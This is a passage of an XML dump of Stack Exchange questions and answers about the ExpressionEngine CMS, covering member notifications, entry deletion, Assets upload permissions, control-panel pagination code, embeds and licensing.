BY-SA 3.0" />
  <row Id="7501" PostTypeId="1" AcceptedAnswerId="7550" CreationDate="2013-03-19T16:56:02.677" Score="2" ViewCount="344" Body="&lt;p&gt;I've got an EE 2.5.0 site that is using Profile:Edit 1.0.9. I've got member activation set to Manual activation by an Administrator. I can activate the Pending members via the control panel and it sends a default EE email notification fine (the Member Account Validation Notification email, saying that their account has now been activated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to trigger that email notification via the front end using the exp:profile:edit form? I can change a member's group so they change from Pending to another member group, but no emails are sent. Or if not, how else can I trigger an email without going into the backend CMS? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:edit include_jquery=&quot;no&quot; datepicker=&quot;no&quot; return=&quot;/extranet&quot; member_id=&quot;{segment_4}&quot;}&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;First name&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input name=&quot;cf_profile_first_name&quot; placeholder=&quot;First Name&quot; type=&quot;text&quot; value=&quot;{cf_profile_first_name}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Last name&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input name=&quot;cf_profile_last_name&quot; placeholder=&quot;Last Name&quot; type=&quot;text&quot; value=&quot;{cf_profile_last_name}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input name=&quot;email&quot; placeholder=&quot;Email&quot; type=&quot;text&quot; value=&quot;{email}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Member Group&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  {exp:profile:member_group_select}&#xA;    &amp;lt;option value=&quot;{option_value}&quot;{if selected} selected=&quot;selected&quot;{/if}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;  {/exp:profile:member_group_select}&#xA;&#xA;  &amp;lt;input type=&quot;submit&quot; value=&quot;Approve login request &amp;amp;raquo;&quot;  /&amp;gt;&#xA;&#xA;{/exp:profile:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-03-20T17:46:13.930" Title="Possible to send member account validation notification email via Profile:Edit?" Tags="|email|profile-edit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7502" PostTypeId="2" ParentId="7499" CreationDate="2013-03-19T17:03:38.473" Score="1" Body="&lt;p&gt;If you want an easy way of importing and manipulating remote images it's hard to beat &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt;. You might want to take a look at the &lt;code&gt;ce_image_remote_cache_time&lt;/code&gt; &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/configuration&quot; rel=&quot;nofollow&quot;&gt;config setting&lt;/a&gt; so that you can keep repeated remote requests to a minimum.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-03-19T17:03:38.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7503" PostTypeId="1" AcceptedAnswerId="7510" CreationDate="2013-03-19T17:20:57.037" Score="0" ViewCount="391" Body="&lt;p&gt;How do people go about deleting entries via SafeCracker? I've got an extranet where I'd like to allow staff admins to delete entries, but I'm not sure how to go about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched around and one suggestion is to set the entry status to 'closed' in order to fake the deletion, whilst another is to check out this third party add-on: &lt;a href=&quot;http://devot-ee.com/add-ons/delete-entries-and-comments&quot; rel=&quot;nofollow&quot;&gt;Delete Entries and Comments&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wondering if there's any other ideas or suggestions for this? I'm not sure if the above add-on will do the job for me (as it says it only allows users to delete &lt;em&gt;their own entries&lt;/em&gt;, not allow 'admin' users to &lt;em&gt;delete other user's entries&lt;/em&gt;), and setting the status to 'closed' seems like a last resort type of workaround. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-03-19T18:11:12.007" Title="How to delete entries via SafeCracker" Tags="|channel-entries|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7504" PostTypeId="2" ParentId="7232" CreationDate="2013-03-19T17:26:20.170" Score="1" Body="&lt;p&gt;The edit tag for Profile:Edit is a descendant of the SafeCracker module and so you can use all of Safecracker's parameters and variables. If there's ever anything missing in the Profile:edit docs you can normally find it in the Safecracker docs within the EE user guide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For fieldtypes that have complex markup like Matrix, you need to use the &lt;code&gt;field:my_field_name&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#field-my-field-name&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#field-my-field-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the (very) basic template code would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:edit&#xA;    safecracker_head=&quot;yes&quot;&#xA;}&#xA;    {field:matrix_field}&#xA;{/exp:profile:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll probably need to include more parameters than that but I've include the &lt;code&gt;safecracker_head&lt;/code&gt; one to show that it is required for Matrix because it'll load in the required Javascript. You'll also need to include the &lt;code&gt;include_jquery&lt;/code&gt; parameter and set it to either yes or no depending on whether you're already loading it on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#include-jquery&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#include-jquery&lt;/a&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#safecracker-head&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#safecracker-head&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2013-03-19T17:26:20.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7505" PostTypeId="1" AcceptedAnswerId="7509" CreationDate="2013-03-19T17:37:19.427" Score="0" ViewCount="1456" Body="&lt;p&gt;After deploying my site to a production server I am encountering errors when uploading files in Assets. Uploads in the native File Manager work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5.5 and Assets 2.0.5 on Windows 2008 IIS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Message: There was an error uploading your file: Your upload directory isn’t writable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked permissions for the expressionengine/cache folder and they are ok. Thumbnails and such get generated in the assets cache folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was also running into a duplicate folder listing which was resolved by following this thread: &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/not_indexing_correctly?utm_content=topic_link&amp;amp;utm_medium=email&amp;amp;utm_source=reply_notification&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/not_indexing_correctly?utm_content=topic_link&amp;amp;utm_medium=email&amp;amp;utm_source=reply_notification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried with and without the following config overrides without success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*-- Assets --*/&#xA;//$env_config['assets_site_url'] = '/index.php';&#xA;//$env_config['assets_cp_path'] = './';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what else to try here... help!&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-03-19T18:10:48.917" Title="Assets 2 There was an error uploading your file: Your upload directory isn’t writable" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7506" PostTypeId="2" ParentId="7500" CreationDate="2013-03-19T18:01:57.117" Score="2" Body="&lt;p&gt;You can insert the iFrame code into a normal Content Elements textarea field.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-19T18:01:57.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7507" PostTypeId="1" CreationDate="2013-03-19T18:04:31.180" Score="1" ViewCount="60" Body="&lt;p&gt;Putting together a blog template, using switchee to create all the related templates within the one.  I have 'Yes' selected for 'Use Category URL Titles In Links' and category is my reserve word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My variable for switchee is {segment_2}.&#xA;my first case value is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{case value=&quot;#^P(\d+)$#|''|category&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my default case also has a value of 'article', see below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{case value=&quot;article&quot; default=&quot;Yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first case is to show the blog index, pagination and the category listing.  Second is for single entry.  I've used this numerous times before with no issue, but when placing this in this recent site the category value will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even pulled this out of the first case above and placed in its own, see below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{case value=&quot;category&quot;} test {/case}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesnt work either.  But if I change the category url indicator reserve word from 'category' to 'topic' it works just as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again only thing I can assume is the Pages module is affecting it some how but really not sure as I don't think this would be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not Pages, anything else possibly the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks is advance!&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2013-03-19T18:04:31.180" Title="Pages module affect use of category url indicator?" Tags="|switchee|pages|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7508" PostTypeId="2" ParentId="6214" CreationDate="2013-03-19T18:06:43.460" Score="0" Body="&lt;p&gt;The upload_lang.php is being asked for somewhere so try creating an empty php file named &quot;upload_lang.php&quot; and place it in the dutch language directory. That should get rid of the error.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-19T18:06:43.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7509" PostTypeId="2" ParentId="7505" CreationDate="2013-03-19T18:10:48.917" Score="0" Body="&lt;p&gt;Nuno,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you make sure that /system/expressionengine/cache/ and its Assets subfolders are set to the equivalent of 777 permissions? You'll also need to check that for your individual file upload preference locations on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to make sure your temporary folder is writable.  A sys admin could help you with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-19T18:10:48.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7510" PostTypeId="2" ParentId="7503" CreationDate="2013-03-19T18:11:12.007" Score="3" Body="&lt;p&gt;The plugin &quot;Delete entries and comments&quot; uses the channel API for deleting the entries so it respects the logged in member's group preferences. &#xA;It would be fine for you to set the member's preferences for deleting entries from Control Panel according to your requirements.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-19T18:11:12.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7511" PostTypeId="1" CreationDate="2013-03-19T18:49:12.347" Score="3" ViewCount="248" Body="&lt;p&gt;I have a problem quite similar to the one found &#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7155/pagination-links-on-cp-module-screen-are-not-clickable&quot;&gt;here&lt;/a&gt;, where I am trying to form a table using the tutorial found on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/table.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ellis Lab's site&lt;/a&gt;. I found some of their guide totally lacking on pagination, and as a result when I implement it, I lose my table sorting and have links for pagination that do not work when clicked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking on StackExchange I found the helpful post above, so that now I am at the same starting state as the OP's problem. My code looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$method_url = BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=my_module'.AMP.'method=my_method';    &#xA;return array(&#xA;        'rows' =&amp;gt; array_slice($rows, $offset, 5),&#xA;        'pagination' =&amp;gt; array(&#xA;        'page_query_string'     =&amp;gt; TRUE,&#xA;        'base_url'      =&amp;gt; $method_url,&#xA;        'per_page'          =&amp;gt; 5,&#xA;        'total_rows'        =&amp;gt; count($rows)&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, adding $this-&gt;EE-&gt;table-&gt;set_base_url() does not solve it for me. Although I may need to add it in a place that I did not try - the solution post did not specify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the best way I could summarize would be this: &#xA;What is the EllisLab tutorial missing from making a functional pagination/sorting table?&lt;/p&gt;&#xA;" OwnerUserId="1198" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-03-19T21:22:09.097" Title="Pagination links on CP module's view are not clickable" Tags="|control-panel|add-on-development|module|pagination|table|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7512" PostTypeId="2" ParentId="7511" CreationDate="2013-03-19T18:58:25.717" Score="1" Body="&lt;p&gt;I used &lt;code&gt;set_base_url()&lt;/code&gt; in my &lt;code&gt;index()&lt;/code&gt; function, where I set up the table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('table');&#xA;$this-&amp;gt;EE-&amp;gt;table-&amp;gt;set_columns(array(&#xA;// columns&#xA;));&#xA;$this-&amp;gt;EE-&amp;gt;table-&amp;gt;set_base_url('C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=my_module');&#xA;$data = $this-&amp;gt;EE-&amp;gt;table-&amp;gt;datasource('_datasource');&#xA;$data['base_url'] = $this-&amp;gt;base_url; // Available in my View&#xA;return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('mcp_my_module', $data, TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in my &lt;code&gt;_datasource&lt;/code&gt; function, which needs to give the pagination array a &lt;code&gt;base_url&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base_url = $this-&amp;gt;_full_url();&#xA;&#xA;function _full_url()&#xA;{&#xA;    $s = empty($_SERVER[&quot;HTTPS&quot;]) ? '' : ($_SERVER[&quot;HTTPS&quot;] == &quot;on&quot;) ? &quot;s&quot; : &quot;&quot;;&#xA;    $sp = strtolower($_SERVER[&quot;SERVER_PROTOCOL&quot;]);&#xA;    $protocol = substr($sp, 0, strpos($sp, &quot;/&quot;)) . $s;&#xA;    $port = ($_SERVER[&quot;SERVER_PORT&quot;] == &quot;80&quot;) ? &quot;&quot; : (&quot;:&quot;.$_SERVER[&quot;SERVER_PORT&quot;]);&#xA;&#xA;    $non_offset_uri = explode('&amp;amp;tbl_offset=',$_SERVER['REQUEST_URI']);&#xA;    $non_offset = $non_offset_uri[0];&#xA;&#xA;    return $protocol . &quot;://&quot; . $_SERVER['SERVER_NAME'] . $port . $non_offset;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, I wrote my own function to set the base_url for pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - I have this as the return for my &lt;code&gt;_datasource&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return array(&#xA;    'rows' =&amp;gt; $rows,&#xA;    'pagination' =&amp;gt; array(&#xA;        'page_query_string' =&amp;gt; TRUE,&#xA;        'base_url'    =&amp;gt; $base_url,&#xA;        'per_page'   =&amp;gt; $per_page,&#xA;        'total_rows' =&amp;gt; $total_rows&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I start it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _datasource($state)&#xA;{&#xA;    //var_dump($state['offset']);&#xA;    $offset = 0;&#xA;    if ($state['offset'] != 0)&#xA;        $offset = (int)$state['offset'];&#xA;    $per_page = 20;&#xA;    $base_url = $this-&amp;gt;_full_url();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use those values in my query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LIMIT ?,?&quot;,array($offset,$per_page));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the current page records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I have &lt;strong&gt;TWO&lt;/strong&gt; queries in my &lt;code&gt;_datasource&lt;/code&gt; function: One returns all rows to get the &lt;code&gt;$total_rows&lt;/code&gt; value. The other uses &lt;code&gt;LIMIT&lt;/code&gt; to get the current page's records.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count_results = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM exp_audit_log ORDER BY timestamp desc&quot;);&#xA;$total_rows = $count_results-&amp;gt;num_rows();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-03-19T21:22:09.097" LastActivityDate="2013-03-19T21:22:09.097" CommentCount="28" ContentLicense="CC BY-SA 3.0" />
  <row Id="7513" PostTypeId="1" CreationDate="2013-03-19T20:12:00.270" Score="1" ViewCount="107" Body="&lt;p&gt;I'm creating a single-page portfolio site using jquery scrollto and easing, etc.  For ease of editing, I'm seriously considering creating each &quot;Section&quot; on the main page as its own template and then embedding them on one main index page.  I'm concerned about the increase in load &amp;amp; processing by doing this.  Does this seem like a good or a bad idea, all in all?&lt;/p&gt;&#xA;" OwnerUserId="1199" LastActivityDate="2013-03-19T22:46:31.417" Title="Embeds with single page design?" Tags="|templates|embeds|loading-time|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7514" PostTypeId="2" ParentId="7513" CreationDate="2013-03-19T20:35:19.473" Score="4" Body="&lt;p&gt;A few embeds never hurt anyone, despite the hype! Yes they can have a performance hit on busy or content heavy/intensive sites but for smaller sites you'd probably barely even notice, save for a few extra queries on page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always use Snippets instead of embeds if you want to segmentate your code into smaller chunks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saying that, as you're only running a single page, I'd still consider one template with no embeds/snippets to maximise performance to the max, so long as your code was tidy you should have no editing issues.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-19T20:35:19.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7515" PostTypeId="1" AcceptedAnswerId="7518" CreationDate="2013-03-19T20:59:11.447" Score="0" ViewCount="187" Body="&lt;p&gt;I am using AB Pagination to paginate news stories. When I click the numbered (and the next and previous) links, the URI segment is /P10, /P20, /P30. I would like the URI segment to be /P1, /P2, /P3. Does anyone know if this is possible? If so, how could I implement this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the channel entry tag I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;news&quot;&#xA;    disable=&quot;member_data|trackbacks&quot;&#xA;    limit=&quot;10&quot;&#xA;    sort=&quot;desc&quot;&#xA;    status=&quot;open|featured&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the pagination code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    &amp;lt;ol class=&quot;page-list group__title&quot;&amp;gt;&#xA;        {if abp_has_previous}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{abp_previous_link}&quot;&amp;gt;&amp;lt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;        {abp_pages}&#xA;            {if abp_is_current}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;is-active&quot;&amp;gt;{abp_num}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {if:else}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{abp_link}&quot;&amp;gt;{abp_num}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/if}&#xA;        {/abp_pages}&#xA;        {if abp_has_next}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{abp_next_link}&quot;&amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/ol&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastActivityDate="2015-12-17T14:17:32.357" Title="Is there a way to have AB Pagination display P1, P2, P3 instead of P10, P20, P30?" Tags="|add-on|pagination|ab-pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7516" PostTypeId="1" AcceptedAnswerId="7517" CreationDate="2013-03-19T21:30:52.490" Score="0" ViewCount="343" Body="&lt;p&gt;I need to CMS-ify my friends design portfolio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use expressionengine core, or would I need a licenced? I've had a look at the terms and conditions for the Core version but I'm still not quite sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really hope I can use ee, absolutely love working with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;dave&lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2013-03-19T21:43:58.447" Title="Can I use ExpressionEngine core for a portfolio site" Tags="|license|core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7517" PostTypeId="2" ParentId="7516" CreationDate="2013-03-19T21:38:07.283" Score="4" Body="&lt;p&gt;Presumably her portfolio site is there to sell her services, so that would qualify it as commercial use. Feel free to email EllisLab, but I'm pretty sure that this falls outside of the intent of the &quot;core&quot; license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the EE &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/license.html&quot; rel=&quot;nofollow&quot;&gt;software license&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Users of the Core License may use the Software only on a website engaging in personal, non-commercial, or non-profit activities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-03-19T21:43:58.447" LastActivityDate="2013-03-19T21:43:58.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7518" PostTypeId="2" ParentId="7515" CreationDate="2013-03-19T21:41:21.307" Score="1" Body="&lt;p&gt;ExpressionEngine uses the data from the pagination segment as an offset, not a &quot;page number&quot;, per se. So even if you could change the values to P1, P2, etc, they would then yield incorrect results (if you wish to use EE's built-in dynamic pagination that is).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-19T21:41:21.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7519" PostTypeId="1" AcceptedAnswerId="7520" CreationDate="2013-03-19T22:02:45.477" Score="0" ViewCount="91" Body="&lt;p&gt;I've just finished the local setup of a site running EE 1.7.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one issue... custom fields inside the &lt;code&gt;exp:weblog:entries&lt;/code&gt; tag are not parsing at all. The title does show correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've check all paths and they are correct. I've disabled extensions, still no parsing. I stripped my template to the bare minimum and still no parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION:&lt;/strong&gt; Does anyone know why the entries tag isn't parsing custom fields on this local install?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debugging output:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://pastie.org/private/5qrbdhd95hn28sf3zfg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastie.org/private/5qrbdhd95hn28sf3zfg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My test template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;static&quot; limit=&quot;1&quot; url_title=&quot;{segment_2}&quot; dynamic=&quot;off&quot; disable=&quot;category_fields|categories|member_data|pagination|trackbacks&quot;}&#xA;    &amp;lt;h1&amp;gt;Title: {title}&amp;lt;/h1&amp;gt;     &#xA;    &amp;lt;h2&amp;gt;Copy: {s-copy}&amp;lt;/h2&amp;gt;&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The template output:&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/py5vu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-19T22:11:03.577" Title="EE1 Site Not Parsing Custom Fields Locally" Tags="|ee1|entries|parsing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7520" PostTypeId="2" ParentId="7519" CreationDate="2013-03-19T22:11:03.577" Score="0" Body="&lt;p&gt;Looks like this is because of import issues with the &lt;code&gt;exp_weblog_data&lt;/code&gt; database table..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to edit this entry, I see this error in the CP &quot;You have tried to access a section that does not exist.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to reimport the &lt;code&gt;exp_weblog_data&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-19T22:11:03.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7521" PostTypeId="2" ParentId="7513" CreationDate="2013-03-19T22:46:31.417" Score="1" Body="&lt;p&gt;It really depends on your site. I've built plenty of sites with embeds. Sometimes the only way to get something complex to work is with embeds. And in the case of Stash, you can even make embeds work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need to pass any data between your index page and your embedded &quot;sections,&quot; snippets will do what you want without the overhead of embeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a comparison of the two: &#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html#how-to-choose-between-an-embedded-template-and-a-snippet&quot; rel=&quot;nofollow&quot;&gt;How to choose between an Embedded Template and a Snippet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash now has an embed feature that gives you a lot more control. It's like the best of snippets and embeds combined:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash#stashembed&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash#stashembed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's hard to say how it will impact speed without trying it out and seeing how long it takes the page to process and how many queries it uses. &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-19T22:46:31.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
